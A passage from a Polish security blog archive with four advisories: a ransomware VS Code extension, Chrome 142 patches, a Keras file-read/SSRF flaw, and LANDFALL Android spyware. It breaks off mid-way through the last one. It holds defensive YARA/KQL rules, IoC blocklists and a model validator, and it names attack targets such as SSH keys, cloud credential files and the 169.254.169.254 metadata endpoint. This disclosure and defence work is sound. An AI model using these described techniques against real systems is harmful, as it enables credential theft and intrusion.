Archiwa: Windows - Strona 86 z 98 - Security Bez Tabu

„Ransomvibing” w Marketplace VS Code: złośliwe rozszerzenie pokazuje, jak łatwo wpuścić ransomware do IDE

Wprowadzenie do problemu / definicja luki

Na Visual Studio Marketplace opublikowano rozszerzenie do VS Code, które wprost reklamowało funkcje „zipping, upload & encrypt”, po zainstalowaniu uruchamiało się automatycznie, a następnie pakowało, eksfiltrowało i szyfrowało pliki. Zjawisko ochrzczono „ransomvibing” – ransomware „vibe-coded”, czyli w dużej mierze sklejone promptami do LLM. Wpis badacza, który pierwszy opisał sprawę (Secure Annex), oraz relacje prasowe potwierdzają, że Microsoft usunął rozszerzenie z Marketplace po zgłoszeniu.


W skrócie

  • Złośliwy plugin VS Code został opublikowany pod nazwą wydawcy sugerującą „sus…” i opisem jednoznacznie wskazującym na eksfiltrację i szyfrowanie. Po zgłoszeniu zniknął z Marketplace, a Microsoft informuje, że takie pakiety po weryfikacji trafiają na blocklistę i są autoodinstalowane.
  • Implementacja zdradza ślady generowania kodu przez AI (obszerne komentarze, nielogiczne decyzje projektowe), łącznie z kuriozalnym wbudowaniem klucza deszyfrującego.
  • Kanał C2 oparto o prywatne repozytorium GitHub; rozszerzenie nasłuchiwało zmian i wykonywało polecenia. W opisie widniały także docelowe ścieżki do pakowania danych.
  • Incydent wpisuje się w szerszy trend AI-asystowanego malware (np. akademicki PoC „PromptLock/PromptLocker”).

Kontekst / historia / powiązania

Marketplace’y na narzędzia developerskie stają się łakomym kąskiem: poza fałszywymi wtyczkami do przeglądarek i IDE, branża obserwuje też złośliwe rozszerzenia VS Code i nieszczelne wydania z wyciekami sekretów. Dostawcy (w tym Microsoft) deklarują procesy moderacyjne, automatyczną dezinstalację zidentyfikowanych zagrożeń i link „Report abuse” na stronach rozszerzeń. Jednak incydenty – od kradzieży kodu źródłowego po cryptomining – pokazują, że sama kuratela nie wystarcza i wymaga defensywy po stronie organizacji.


Analiza techniczna / szczegóły luki

Składniki łańcucha ataku:

  1. Publikacja pluginu w Marketplace jako zwykłego rozszerzenia VS Code; opis nie krył funkcji „zip-upload-encrypt”.
  2. Automatyczna aktywacja (activation events „onStartupFinished”/„*”) – uruchomienie funkcji zipUploadAndEncrypt już przy instalacji/otwarciu edytora.
  3. Zbieranie danych – tworzenie archiwum ZIP wskazanego katalogu (np. C:\Users\Public\testing lub /tmp/testing w PoC).
  4. Eksfiltracja – wysyłka na zdalny serwer/C2; w tym przypadku GitHub (repo prywatne) jako boczny kanał poleceń (polling commitów).
  5. Szyfrowanie – zastąpienie plików wersjami zaszyfrowanymi; w kodzie widniał twardo zaszyty klucz deszyfrujący oraz dwa „decryptory” (Python/Node), co zdradza pośpieszne, AI-asystowane klejenie.

Artefakty i wskaźniki (IoC) do huntowania w orgu:

  • Nazwy: podejrzany wydawca o wzorcu „sus…”, funkcja zipUploadAndEncrypt, odwołania do index.html jako pseudo-kanału sterowania.
  • Aktywność sieciowa VS Code do domen GitHub/serwera C2 bez interakcji użytkownika (po starcie IDE).

Praktyczne konsekwencje / ryzyko

  • Obniżenie poprzeczki dla przestępców: LLM-y pozwalają szybko „wibrować” (vibe-code) działający, choć toporny kod ransomware. Amator może wrzucić POC do ekosystemu, w którym użytkownicy ufają dystrybucji rozszerzeń.
  • Ryzyko supply-chain: Auto-update rozszerzeń = ryzyko „one-click impact” lub nawet silent impact przy aktualizacji.
  • Trudność w detekcji: Aktywacja na eventach VS Code i C2 w GitHubie „zlewają się” z normalnym ruchem dev-toolingu.

Rekomendacje operacyjne / co zrobić teraz

1) Governance i polityki VS Code/Marketplace (Enterprise)

  • Wyłącz auto-aktualizacje rozszerzeń na poziomie orgu:
    settings.json (User/Workspace/Policy): { "extensions.autoUpdate": false, "extensions.autoCheckUpdates": false }
  • Wymuś allow-listę wydawców (rozszerzenia tylko ze sprawdzonej listy; w praktyce – własny mirror lub repo wewnętrzne).
  • Zablokuj dostęp do Marketplace na brzegu (proxy/NGFW/DNS): domeny marketplace.visualstudio.com, *.gallery.vsassets.io (tylko dla stacji dev bez zgody). Microsoft sam zaleca możliwość całkowitego blokowania Marketplace w środowiskach podwyższonego ryzyka.
  • W politykach MDM/Intune lub konfiguracji złotych obrazów wymuś zewnętrzne źródła rozszerzeń = off, instalacja tylko z pakietów zatwierdzonych.

2) Kontrola instalacji i inwentaryzacja

  • Zrzut listy rozszerzeń (CI lub skrypty pre-commit): # macOS/Linux code --list-extensions > extensions.txt # Windows (PowerShell) code --list-extensions | Out-File extensions.txt
  • Wymuś uninstall niezatwierdzonych: # przykład: masowa dezinstalacja wszystkiego spoza allow-listy allowed=$(cat allowlist.txt) for ext in $(code --list-extensions); do echo "$allowed" | grep -qx "$ext" || code --uninstall-extension "$ext" done
  • Ścieżki przeglądu kodu rozszerzeń:
    • Windows: %USERPROFILE%\.vscode\extensions\
    • Linux/macOS: ~/.vscode/extensions/

3) Detekcje / hunting (EDR/SIEM/Defender for Endpoint)

  • Reguła YARA (przykład PoC) na artefakty wspomniane publicznie: rule VSCode_Ransomvibe_PoC { meta: description = "Heurystyka: vibe-coded VSCode ransomware PoC" strings: $s1 = "zipUploadAndEncrypt" nocase $s2 = "index.html" ascii $s3 = "C:\\Users\\Public\\testing" ascii $s4 = "/tmp/testing" ascii condition: 2 of ($s*) } (dobierz do własnych TTP, nie traktuj jako sygnatury ostatecznej). Źródła publiczne wspominają zarówno nazwę funkcji, jak i ścieżki docelowe.
  • Reguła EDR (pseudo-KQL) – VS Code inicjuje ZIP + outbound do GitHub po starcie: DeviceProcessEvents | where InitiatingProcessFileName =~ "Code.exe" and (FileName in~ ("powershell.exe","zip.exe","node.exe","python.exe")) | where Timestamp between (SigninTime .. SigninTime + 5m) | join kind=leftouter DeviceNetworkEvents on DeviceId, InitiatingProcessId | where RemoteUrl endswith "github.com" or RemoteUrl endswith "githubusercontent.com" | summarize count() by DeviceName, InitiatingProcessCommandLine
  • Alerty na nietypowe „activation events” w package.json rozszerzeń (szczególnie „onStartupFinished”, „*”).

4) Hardening stacji developerskich

  • Least privilege (dev nie jest lokalnym adminem).
  • AppLocker/WDAC – lista dozwolonych interpreterów (Node/Python) uruchamianych z katalogów profilowych.
  • Segregacja danych – wartościowe repozytoria poza katalogami, do których VS Code ma pełny zapis bez kontroli.
  • Skanowanie tajemnic (pre-commit hooks, np. gitleaks) i DLP – ogranicza exfil wartościowych artefaktów, nawet jeśli dojdzie do ZIP/POST.

5) Reagowanie i odtwarzanie

  • W przypadku detekcji: izolacja hosta, inwentaryzacja zaszyfrowanych/wyeksfiltrowanych ścieżek, wymuszenie rotacji sekretów (tokeny w repo), zgłoszenie do zespołu PSIRT.
  • Backup i testy odtwarzania – szczególnie dla katalogów roboczych developerów.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • PromptLock / PromptLocker (NYU, PoC): akademicki projekt pokazał, że LLM może orkiestrwać pełny cykl ataku ransomware (od rekonesansu po szyfrowanie) – to dowód możliwości, nie kampania przestępcza. Incydent z rozszerzeniem VS Code jest praktycznym przykładem, że „AI-asystowana” implementacja potrafi trafić do zaufanego kanału dystrybucji.
  • Inne przypadki z VS Code: raporty branżowe z ostatnich tygodni wskazują na szkodliwe rozszerzenia kradnące kod i użycie Marketplace do dystrybucji – „ransomvibing” wpisuje się w ten trend, ale rzadko widziano tak jawnie opisane funkcje „encrypt/exfil”.

Podsumowanie / kluczowe wnioski

  1. Zaufanie do Marketplace ≠ bezpieczeństwo. Moderacja nie zastąpi kontroli organizacyjnej (allow-lista, mirror, polityki).
  2. AI obniża barierę wejścia – nawet amatorzy są w stanie złożyć „działający” ransomware i opublikować go w kanale enterprise-grade.
  3. Operationalize security w DevEx: inwentaryzacja rozszerzeń, EDR-hunting wokół VS Code i blokady sieciowe to dziś „must-have”.
  4. Przygotuj IR pod developerów: procedury odtwarzania stanowisk i rotacji sekretów po incydencie z IDE.

Źródła / bibliografia

  1. Dark Reading – opis incydentu, cytat Microsoftu, szczegóły publikacji i usunięcia rozszerzenia. (Dark Reading)
  2. Secure Annex (John Tuckner) – wpis badawczy opisujący „ransomvibe” i technikalia. (secureannex.com)
  3. The Hacker News – dodatkowe szczegóły dot. aktywacji, funkcji zipUploadAndEncrypt, ścieżek i usunięcia z Marketplace. (The Hacker News)
  4. Microsoft – dokumentacja/FAQ bezpieczeństwa rozszerzeń (blocklista, auto-uninstall). (Visual Studio Code)
  5. NYU Tandon / SecurityWeek – kontekst badań „PromptLock/PromptLocker” (LLM-orchestrated ransomware). (NYU Tandon School of Engineering)

Chrome 142: aktualizacja bezpieczeństwa łata 5 podatności (3 „High”), w tym WebGPU (CVE-2025-12725)

Wprowadzenie do problemu / definicja luki

Google wydało poprawkę bezpieczeństwa dla Chrome 142 usuwającą 5 podatności, z czego 3 mają wagę High. Najpoważniejsza z nich to błąd zapisu poza bufor (out-of-bounds write) w WebGPU – CVE-2025-12725, potencjalnie umożliwiający zdalne wykonanie kodu (RCE). Dodatkowo naprawiono błędy „inappropriate implementation” w Views (CVE-2025-12726) i V8 (CVE-2025-12727) oraz dwie usterki średniej wagi w Omnibox (CVE-2025-12728, CVE-2025-12729). Google nie raportuje na ten moment aktywnego wykorzystania tych luk. Oficjalne wersje z łatami to m.in. 142.0.7444.134/.135 dla Windows/Mac/Linux.


W skrócie

  • Zakres: 5 luk (3×High: WebGPU, Views, V8; 2×Medium: Omnibox).
  • Warianty wersji z poprawką: Windows/Mac 142.0.7444.134/.135, Linux 142.0.7444.134; rollout etapowy.
  • Eksploatacja „in the wild”: brak potwierdzenia.
  • Ryzyko praktyczne: możliwe RCE (WebGPU, V8), korupcja pamięci/stanów UI (Views), manipulacje paskiem adresu i scenariusze phishingowe (Omnibox).
  • Dla kogo priorytet: SOC/IT z dużym udziałem przeglądarki w łańcuchu pracy (SaaS, VDI, SSO, EDR w konsoli web), środowiska z WebGPU/AI w przeglądarce oraz parkiem rozszerzeń.

Kontekst / historia / powiązania

Chrome 142 został ogłoszony jako stabilny 28 października 2025 r., a kilka dni później wydano aktualizację stricte bezpieczeństwa dla desktopów ze zredukowanymi szczegółami do czasu, aż większość użytkowników się zaktualizuje (standardowa polityka). Wpis zespołu Chromium podaje listę CVE i numery wersji kanału stabilnego.


Analiza techniczna / szczegóły luki

1) WebGPU — CVE-2025-12725 (High, OOB write → RCE)

  • Natura błędu: out-of-bounds write w implementacji WebGPU (warstwa umożliwiająca stronom dostęp do GPU). Tego typu usterki to klasyczna korupcja pamięci — zapis poza przeznaczonym obszarem może prowadzić do crasha lub dowolnego wykonania kodu przy odpowiednio spreparowanych shaderach/buforach.
  • Implikacje praktyczne: złośliwe strony/aplikacje webowe uruchamiające obciążenia GPU (np. wizualizacje 3D/AI) mogą próbować eskalować błąd do RCE w procesie renderera; potencjalnie do piaskownicy, ale łańcuchy „renderer → browser” są znane z wcześniejszych kampanii. (Implikacja na bazie typologii błędu w Chrome i modelu procesów.)

2) Views — CVE-2025-12726 (High)

  • Opis: „inappropriate implementation” w frameworku Views (warstwa UI Chrome), niebezpieczne obchodzenie się z referencjami obiektów UI → możliwość korupcji pamięci po odwiedzeniu spreparowanej strony lub poprzez rozszerzenie.

3) V8 — CVE-2025-12727 (High)

  • Opis: błąd „inappropriate implementation” w silniku V8 (JS/WebAssembly). Tego rodzaju defekty (np. type confusion, błędy pamięci) są historycznie atrakcyjne do RCE przez skrypty na stronie.

4–5) Omnibox — CVE-2025-12728, CVE-2025-12729 (Medium)

  • Opis: „inappropriate implementation” w Omnibox (pasek adresu). Skutki to m.in. nadużycia UI lub błędne odwzorowanie danych, co w praktyce zwiększa ryzyko phishingu/redirectów i ataków „tapjacking”/„clickjacking” w interakcji z paskiem.

Tabela szybkiego mapowania (CVE → komponent → poziom):
CVE-2025-12725 (WebGPU, High), CVE-2025-12726 (Views, High), CVE-2025-12727 (V8, High), CVE-2025-12728 (Omnibox, Medium), CVE-2025-12729 (Omnibox, Medium).


Praktyczne konsekwencje / ryzyko

  • Atak RCE z poziomu strony: kombinacje luk WebGPU/V8 mogą umożliwić uruchomienie kodu w procesie renderera i potencjalny sandbox escape przy dodatkowych błędach (łańcuchy exploitów).
  • Manipulacja interfejsem i socjotechnika: błędy Omnibox podnoszą skuteczność kampanii phishingowych (maskowanie adresów, nieoczekiwane autouzupełnianie, przekierowania).
  • Ryzyko dla środowisk korporacyjnych: przeglądarka to największa powierzchnia ataku w organizacji; wiele zakładek/aktywnych skryptów zwiększa ekspozycję — stąd presja na szybkie wdrożenia poprawek.

Rekomendacje operacyjne / co zrobić teraz

1) Szybki update użytkownika końcowego

  • Ręcznie (GUI): Ustawienia → Informacje → Google Chrome (sprawdzenie/instalacja, restart).
  • Windows (Winget, CMD/PowerShell jako admin): winget upgrade --id Google.Chrome --source winget $v = (Get-Item "C:\Program Files\Google\Chrome\Application\chrome.exe").VersionInfo.ProductVersion Write-Host "Zainstalowana wersja Chrome: $v"
  • macOS (Homebrew): brew update && brew upgrade --cask google-chrome /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --version
  • Linux (Debian/Ubuntu repo Google): sudo apt update && sudo apt install --only-upgrade google-chrome-stable google-chrome --version

Wersje docelowe: 142.0.7444.134/.135 (w zależności od OS, rollout etapowy).

2) Zarządzanie w organizacji (MDM/Intune/GPO)

  • Wymuś auto-update i restart przeglądarki:
    • GPO (Windows): wgraj najnowsze Chrome ADMX, ustaw:
      • Automatic Browser Updates Enabled = Enabled
      • Target version prefix = 142 (opcjonalnie, aby wymusić min. 142)
      • ComponentUpdatesEnabled = Enabled
      • RelaunchNotification = Required / deadline (np. 24h)
  • Microsoft Intune (Windows/macOS): profil konfiguracyjny z politykami Chrome; ustaw deadline na restart (np. 24–48 h) i Grace Period dla użytkownika.
  • macOS (Jamf/Munki/MDM): Payload z com.google.Keystone (auto-update), polityka wymuszająca relaunch po instalacji.
  • Linux (fleet): repo Google + „pin” wersji, zadanie cron/systemd na aktualizację dzienną.

3) Kontrola zgodności (detekcja niezałatanych hostów)

  • Skany bezpieczeństwa/Nessus/Qualys: użyj wtyczek/QL odpowiadających Chrome 142 (dla macOS/Windows). Przykładowo, Tenable identyfikuje podatność <142.0.7444.135.
  • Szybki skrypt inwentarzowy (Windows/PSRemoting): $computers = Get-Content .\workstations.txt Invoke-Command -ComputerName $computers -ScriptBlock { $p = "C:\Program Files\Google\Chrome\Application\chrome.exe" if (Test-Path $p) { (Get-Item $p).VersionInfo.ProductVersion } else { "Brak Chrome" } }
  • EDR/NDR: stwórz reguły detekcyjne na artefakty exploitów przeglądarkowych (crashe renderera, nieoczekiwane procesy child od Chrome).

4) Hardening przeglądarki (szczególnie do czasu pełnej adopcji)

  • Wyłącz WebGPU w środowiskach o podwyższonym ryzyku (tymczasowo): chrome://flags → Disable WebGPU lub polityka HardwareAccelerationModeEnabled = False (koszt: UX/perf).
  • Ogranicz rozszerzenia: allow-list, audyt uprawnień, blokada developer mode.
  • Zasady izolacji: włącz Site Isolation / Strict Origin Isolation dla aplikacji krytycznych.
  • Zachowania Omnibox: rozważ wyłączenie sugestii i autouzupełniania w stacjach o podwyższonym ryzyku (polityki Omnibox).

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • Brak zero-day w tej fali (w odróżnieniu od poprzednich wydań z 2025 r., gdzie V8 bywał wykorzystywany „in the wild”). Obecna łatka dotyczy nowych CVE w 142 i nie ma wzmianki o aktywnej eksploatacji.
  • Komponenty: ponownie widzimy mieszankę błędów pamięci (WebGPU/V8) i błędów implementacyjnych UI (Views/Omnibox), co odpowiada trendom w złożonych przeglądarkach (warstwy grafiki + interfejs).

Podsumowanie / kluczowe wnioski

  • Zaktualizuj Chrome do 142.0.7444.134/.135 jak najszybciej; zdefiniuj deadline i wymuszony relaunch.
  • Monitoruj zgodność — hosty poniżej 142.0.7444.134/.135 są podatne; skanuj i raportuj odsetek niezałatanych.
  • Zarządzaj ryzykiem WebGPU/Omnibox (tymczasowe wyłączenia/ograniczenia), szczególnie w stacjach z wysoką ekspozycją web/AI.

Źródła / bibliografia

  1. Chrome Releases – Stable Channel Update for Desktop (142.0.7444.134/.135, 5 CVE, rollout i restrykcje szczegółów). (Chrome Releases)
  2. SecurityWeek – „Chrome 142 Update Patches High-Severity Flaws” (CVE, opis WebGPU, brak „in the wild”). (SecurityWeek)
  3. Tenable – Nessus Plugin 274070 (detekcja hostów <142.0.7444.135, lista CVE). (Tenable®)
  4. Chrome for Developers – Release notes 142 (data stabilnego wydania 28.10.2025). (Chrome for Developers)
  5. FortiGuard – wpis zbiorczy o lukach w Chrome 142 (mapowanie CVE/komponentów). (fortiguard.com)

Luka w Keras: ujawnienie danych i SSRF przy ładowaniu modeli (.keras) — CVE-2025-12058

Wprowadzenie do problemu / definicja luki

W Keras (biblioteka DL) odkryto lukę CVE-2025-12058 umożliwiającą arBITRALNE ODCZYTY PLIKÓW (LFI) z systemu hosta podczas ładowania zserializowanych modeli .keras oraz SSRF (wykonywanie żądań sieciowych po stronie serwera). Problem dotyczy warstwy preprocessingowej StringLookup/IntegerLookup, która dopuszczała podanie ścieżki do pliku lub URL jako źródła słownika („vocabulary”). Podczas deserializacji modelu Keras odczytywał tę ścieżkę, nawet przy aktywnym safe_mode=True. Luka została naprawiona w Keras 3.11.4.


W skrócie

  • Identyfikator: CVE-2025-12058, CVSS 4.0: 5.9 (Medium) wg CNA (Google).
  • Wektory ataku: LFI przez odczyt lokalnych plików (np. klucze SSH), SSRF przez zdalne handlery tf.io.gfile (HTTP(S), GCS/HDFS).
  • Warunek: ofiara ładuje zewnętrzny, złośliwy model .keras (supply chain / model zoo / współdzielone repo).
  • Dotknięte wersje: Keras ≤ 3.11.3; naprawa w 3.11.4.
  • Naprawa: włączenie osadzania słownika w archiwum .keras oraz zablokowanie ładowania zewnętrznych słowników przy safe_mode=True.

Kontekst / historia / powiązania

Keras 3.x wprowadził ujednolicony interfejs (JAX/TensorFlow/PyTorch), a wraz z nim nowy format .keras do zapisu modeli. Od początku zakładano mechanizmy „bezpiecznego ładowania” (safe_mode), jednak w tym przypadku ochrona nie obejmowała konstrukcji warstw *Lookup z parametrem vocabulary wskazującym ścieżkę/URL. Problem zgłosił zespół Zscaler (ThreatLabz) — opisując realne scenariusze nadużyć oraz oś czasu ujawnienia. Poprawki trafiły do głównej gałęzi w październiku 2025 r., a wydanie naprawcze opublikowano jako 3.11.4.


Analiza techniczna / szczegóły luki

Gdzie leży błąd?

  • StringLookup i IntegerLookup pozwalały na vocabulary=<ścieżka lub URL>.
  • Gdy model był wczytywany z .keras, deserializacja rekonstruowała warstwę i odczytywała wskazaną ścieżkę/URL, włączając zawartość do stanu warstwy (np. dostępna przez get_vocabulary()), nie respektując w pełni safe_mode=True.

Skutki techniczne

  • LFI (Local File Inclusion/Read): atakujący może ukryć w modelu ścieżki typu /home/user/.ssh/id_rsa; podczas ładowania Keras wczyta treść pliku do słownika warstwy.
  • SSRF: Keras używa tf.io.gfile, które obsługuje zdalne systemy plików i protokoły (HTTP/HTTPS). Specjalnie przygotowany URL może spowodować żądania sieciowe (np. do IMDS 169.254.169.254 w chmurze).

Co zmieniła poprawka?

PR #21751 sprawił, że:

  1. Słowniki są osadzane bezpośrednio w archiwum .keras, dzięki czemu ładowanie nie sięga po zewnętrzne ścieżki.
  2. Przy safe_mode=True zabroniono ładowania zewnętrznych plików słownika — dopuszczalne źródło to wyłącznie zawartość archiwum. Zmiana jest częściowo „breaking”. Zmergowano 17 października 2025 r. i wydano jako Keras 3.11.4.

Praktyczne konsekwencje / ryzyko

  • Eksfiltracja sekretów dewelopera/serwera: klucze SSH, tokeny w plikach konfiguracyjnych, .env, ~/.aws/credentials mogą zostać „wciągnięte” do modelu i odczytane przez napastnika po jego ponownym pobraniu lub przez kontrolowany przez niego pipeline.
  • SSRF do usług wewnętrznych: dostęp do IMDS (IAM w chmurze), wewnętrznych API, brokerów metadanych — w konsekwencji przejęcie zasobów chmurowych lub CI/CD.
  • Łańcuch dostaw modeli: ryzyko dotyczy repozytoriów modeli, notebooków, benchmarków, konkursów, gdzie użytkownicy chętnie ładują cudze artefakty.

Rekomendacje operacyjne / co zrobić teraz

1) Natychmiastowa aktualizacja

  • Uaktualnij do Keras ≥ 3.11.4 w środowiskach, które w jakikolwiek sposób ładują cudze .keras. # sprawdź wersję python - <<'PY' import keras, sys print("Keras:", keras.__version__) PY # aktualizacja (przykład dla pip) python -m pip install --upgrade "keras>=3.11.4"

2) Wymuś bezpieczne ładowanie i walidację konfiguracji

  • Przed load_model() otwórz archiwum .keras i przejrzyj konfigurację warstw; odrzuć modele, w których StringLookup/IntegerLookup mają vocabulary jako ścieżkę/URL. import json, zipfile, re, sys from urllib.parse import urlparse def is_path_or_url(v): if not isinstance(v, str): return False if re.match(r'^[a-zA-Z]:[\\/]|^/|^\./|\.\./', v): # Windows/Unix path return True try: u = urlparse(v) return u.scheme in {"http","https","gs","hdfs"} except: return False def keras_archive_has_external_vocab(keras_path): with zipfile.ZipFile(keras_path) as z: with z.open("config.json") as f: cfg = json.load(f) bad = [] def walk(d): if isinstance(d, dict): if d.get("class_name") in {"StringLookup","IntegerLookup"}: vocab = d.get("config",{}).get("vocabulary", None) if is_path_or_url(vocab): bad.append((d["class_name"], vocab)) for v in d.values(): walk(v) elif isinstance(d, list): for v in d: walk(v) walk(cfg) return bad path = sys.argv[1] offenders = keras_archive_has_external_vocab(path) if offenders: print("BLOCK:", offenders); sys.exit(1) else: print("OK") (Skrypt defensywny — nie ładuje modelu, wyłącznie statycznie analizuje archiwum.)
  • Ładuj modele zawsze z safe_mode=True (po aktualizacji ma znaczenie): import keras model = keras.saving.load_model("model.keras", safe_mode=True)

3) Odseparuj IO modelu

  • Uruchamiaj proces ładujący w sandboxie bez dostępu do sekretów (AppArmor/SELinux, no-new-privileges, fs.protected_hardlinks, profile Seccomp).
  • Read-only root, odmontowane /home, brak dostępu do ~/.ssh, brak zmiennych środowiskowych z sekretami.

4) Zablokuj SSRF u źródła

  • Egress deny z jobów ładujących modele (Kubernetes NetworkPolicy, eBPF Cilium, VPC egress firewall).
  • Blokada IMDS:
    • AWS: metadane v2 tylko z hop-limit=1, lub --http-endpoint disabled na EC2; w EKS — AwsNode.kubeProxyEnabled=false + iptables/CNI do odcięcia 169.254.169.254.
    • GCP/Azure analogicznie — polityki blokujące dostęp z podów.
      (Ogranicza efekt SSRF opisany w analizie.)

5) Detekcja w pipeline’ach

  • Skanuj artefakty .keras tymczasowo przed dopuszczeniem do trenowania/inferencji (skrypt powyżej).
  • Alertuj na outbound z jobów ładowania modeli (np. reguły w eBPF/XDP, IDS w podsieci).
  • DLP/Git scanning: reguły wykrywające ciągi typu StringLookup + vocabulary z wartością zaczynającą się od / lub http.

6) Zarządzanie zaufaniem do modeli (MLSBOM)

  • Wprowadzaj Model SBOM (pochodzenie, hash, autor, podpis).
  • Wymagaj podpisu kryptograficznego artefaktów modelu (Cosign/Sigstore) i weryfikuj go w CI przed load_model().

Różnice / porównania z innymi przypadkami

  • Deserializacja nieufnych danych (CWE-502) bywa znana z pickle/joblib. Tu wektorem jest format .keras i specyficzna opcja vocabulary w warstwach *Lookup. Mechanizm safe_mode miał ograniczyć ryzyko, ale nie obejmował ścieżek słowników — stąd podatność.
  • W odróżnieniu od klasycznych RCE przez deserializację, tutaj mamy LFI/SSRF, co i tak może prowadzić do pełnej kompromitacji (np. przejęcie IAM i lateral movement).

Podsumowanie / kluczowe wnioski

  1. Aktualizacja do Keras 3.11.4 jest najważniejsza.
  2. Nie ładuj niezweryfikowanych modeli .keras — traktuj je jak binaria z internetu.
  3. Waliduj konfigurację warstw *Lookup przed deserializacją; blokuj egress i IMDS w jobach ML.
  4. Segmentacja i sandbox procesu ładującego + telemetria wyjść sieciowych minimalizują skutki ewentualnego SSRF.
  5. Wdrażaj łańcuch zaufania do modeli (podpisy, SBOM), jak w klasycznych łańcuchach dostaw.

Źródła / bibliografia

  • SecurityWeek: ogłoszenie luki i informacja o wersji naprawczej 3.11.4. (SecurityWeek)
  • Zscaler (ThreatLabz): analiza techniczna, scenariusze eksploatacji (LFI/SSRF), dotknięte wersje ≤3.11.3. (Zscaler)
  • NVD: karta CVE-2025-12058, opis wektora (LFI/SSRF), CVSS 4.0 5.9 (CNA), powiązane CWE-502. (NVD)
  • GitHub (keras-team), PR #21751: szczegóły implementacji poprawki (osadzanie słownika, restrykcja safe_mode). (GitHub)
  • Dokumentacja Keras: kontekst działania StringLookup. (keras.io)

LANDFALL: komercyjny spyware na Androida uderza w telefony Samsung przez zero-day w bibliotece obrazów

Wprowadzenie do problemu / definicja luki

Zespół Palo Alto Networks Unit 42 opisał nową rodzinę komercyjnego spyware’u dla Androida o nazwie LANDFALL, którą atakujący dostarczali na wybrane smartfony Samsung Galaxy przez zero-day w bibliotece przetwarzania obrazów (libimagecodec.quram.so). Luka otrzymała identyfikator CVE-2025-21042 i umożliwia zdalne wykonanie kodu po przetworzeniu celowo złośliwego pliku DNG (Digital Negative). Samsung załatał błąd w SMR-APR-2025 (Security Maintenance Release), ale ataki trwały przed wydaniem poprawek.


W skrócie

  • Co: spyware LANDFALL na Androida, ukierunkowany na urządzenia Samsung Galaxy.
  • Jak: złośliwy plik DNG dostarczany m.in. przez komunikatory (analiza wskazuje na WhatsApp); exploit CVE-2025-21042 prowadzący do RCE, najpewniej w trybie zero-click/low-click.
  • Kiedy: próbki widoczne co najmniej od lipca 2024 r., aktywność w 2024/2025; poprawka Samsunga — kwiecień 2025.
  • Kogo: cele w MENA (m.in. Iran, Irak, Turcja, Maroko); wybrane modele Galaxy S22/S23/S24, Z Fold4, Z Flip4.
  • Pokrewne: drugi błąd w tej samej bibliotece (CVE-2025-21043, zgłoszony przez Meta/WhatsApp) załatany we wrześniu 2025, potwierdzono exploitation in the wild.

Kontekst / historia / powiązania

  • LANDFALL wpisuje się w szerszy trend nadużywania parserów obrazów RAW (DNG/TIFF) na urządzeniach mobilnych — podobne łańcuchy obserwowano na iOS (CVE-2025-43300) w połączeniu z błędem WhatsApp (CVE-2025-55177), co pozwalało na zdalne, zero-clickowe RCE po dostarczeniu obrazu przez komunikator.
  • Unit 42 widzi stylistyczne zbieżności z ekosystemem komercyjnych dostawców spyware (PSOA) i infrastrukturą powiązaną z Stealth Falcon (UAE), ale bez rozstrzygającej atrybucji.
  • Samsung załatał CVE-2025-21042 w SMR-APR-2025 i opisał go jako krytyczny błąd typu Out-of-Bounds Write w libimagecodec.quram.so, umożliwiający zdalne wykonanie kodu; NVD klasyfikuje wektor jako AV:N/AC:L/PR:N/UI:N (CRITICAL).

Analiza techniczna / szczegóły luki

Wektor: złośliwy plik DNG

  • Atakujący wysyłali ofierze celowo sfałszowane pliki DNG, czasem jako „zdjęcia WhatsApp”. Wewnątrz pliku DNG znajdowało się doklejone archiwum ZIP z komponentami malware. Samo parsowanie DNG w podatnej bibliotece wyzwalało RCE.

Łańcuch infekcji (wysoki poziom)

  1. Dostarczenie obrazu DNG (WhatsApp/komunikator).
  2. Eksploatacja CVE-2025-21042 w libimagecodec.quram.soRCE w kontekście procesu parsera.
  3. Rozpakowanie dołączonego ZIP-a i uruchomienie komponentu b.so (loader, „Bridge Head”).
  4. Rozszerzenie uprawnień i trwałości poprzez moduł l.somanipulacja polityką SELinux in-memory.
  5. Pobranie dalszych modułów, fingerprinting urządzenia i beaconing do C2.

Kluczowe pliki/ścieżki i artefakty

  • Katalog roboczy: /data/data/com.samsung.ipservice/files/
  • Komponenty: b.so (loader) i l.so (manipulator polityk SELinux; XZ-kompresja)
  • Konfiguracja wbudowana w b.so (JSON + klucz X.509), stałe „Bridge Head v2.1”, parametry czasu pracy (suicide_time), tryb I/P runner.
  • Przykładowe IoC: domeny brightvideodesigns[.]com, healthyeatingontherun[.]com, IP m.in. 45.155.250[.]158, 91.132.92[.]35. (pełna lista w raporcie Unit 42).

Zdolności spyware (wybór)

  • Inwigilacja: nagrywanie mikrofonu/rozmów, pozyskiwanie lokalizacji, kontaktów, logów połączeń, plików/zdjęć.
  • Fingerprinting sieci i urządzenia: IMEI/IMSI/SIM, stan VPN/USB debug, lista aplikacji.
  • Łączność z C2: HTTPS, telemetry, dynamiczne dociąganie modułów.

Praktyczne konsekwencje / ryzyko

  • Ataki ukierunkowane: telemetry i artefakty wskazują na cele w regionie MENA, wysoką wartość celów i niską skłonność do masowej dystrybucji.
  • Trudne do zauważenia: zero-/low-click, brak nowej podatności w WhatsApp, więc standardowe „zachowania użytkownika” nie są wystarczającą barierą.
  • Ryzyko dla prywatności i bezpieczeństwa operacyjnego (OPSEC): stały dostęp audio/GPS, exfil danych z komunikatorów i pamięci.
  • Ryzyko wtórne: manipulacja polityką SELinux osłabia kontrolę dostępu na urządzeniu i wspiera trwałość.

Rekomendacje operacyjne / co zrobić teraz

1) Natychmiastowe działania IT/MDM

  • Wymuś aktualizacje do SMR-APR-2025 lub nowszych (łata CVE-2025-21042) oraz SMR-SEP-2025 (łata pokrewny CVE-2025-21043, exploatowany w środowisku) na wszystkich obsługiwanych Galaxy.
  • Zablokuj i monitoruj automatyczne pobieranie DNG/RAW w firmowych komunikatorach (polityki MDM/UEBA; jeżeli niemożliwe — CDR/sandboxing obrazów).
  • Listy blokujące (egress/DNS): dodaj domeny i adresy IP z raportu Unit 42 do blokad (patrz IoC wyżej). Wymuś TLS SNI/JA3 monitoring dla anomalii.

2) Detekcja i hunting (przykłady)

ADB: przegląd artefaktów w podejrzanym urządzeniu testowym

# Połącz urządzenie (tryb debugowania w kontrolowanym labie)
adb shell 'ls -l /data/data/com.samsung.ipservice/files/'
adb shell 'sha256sum /data/data/com.samsung.ipservice/files/* 2>/dev/null'
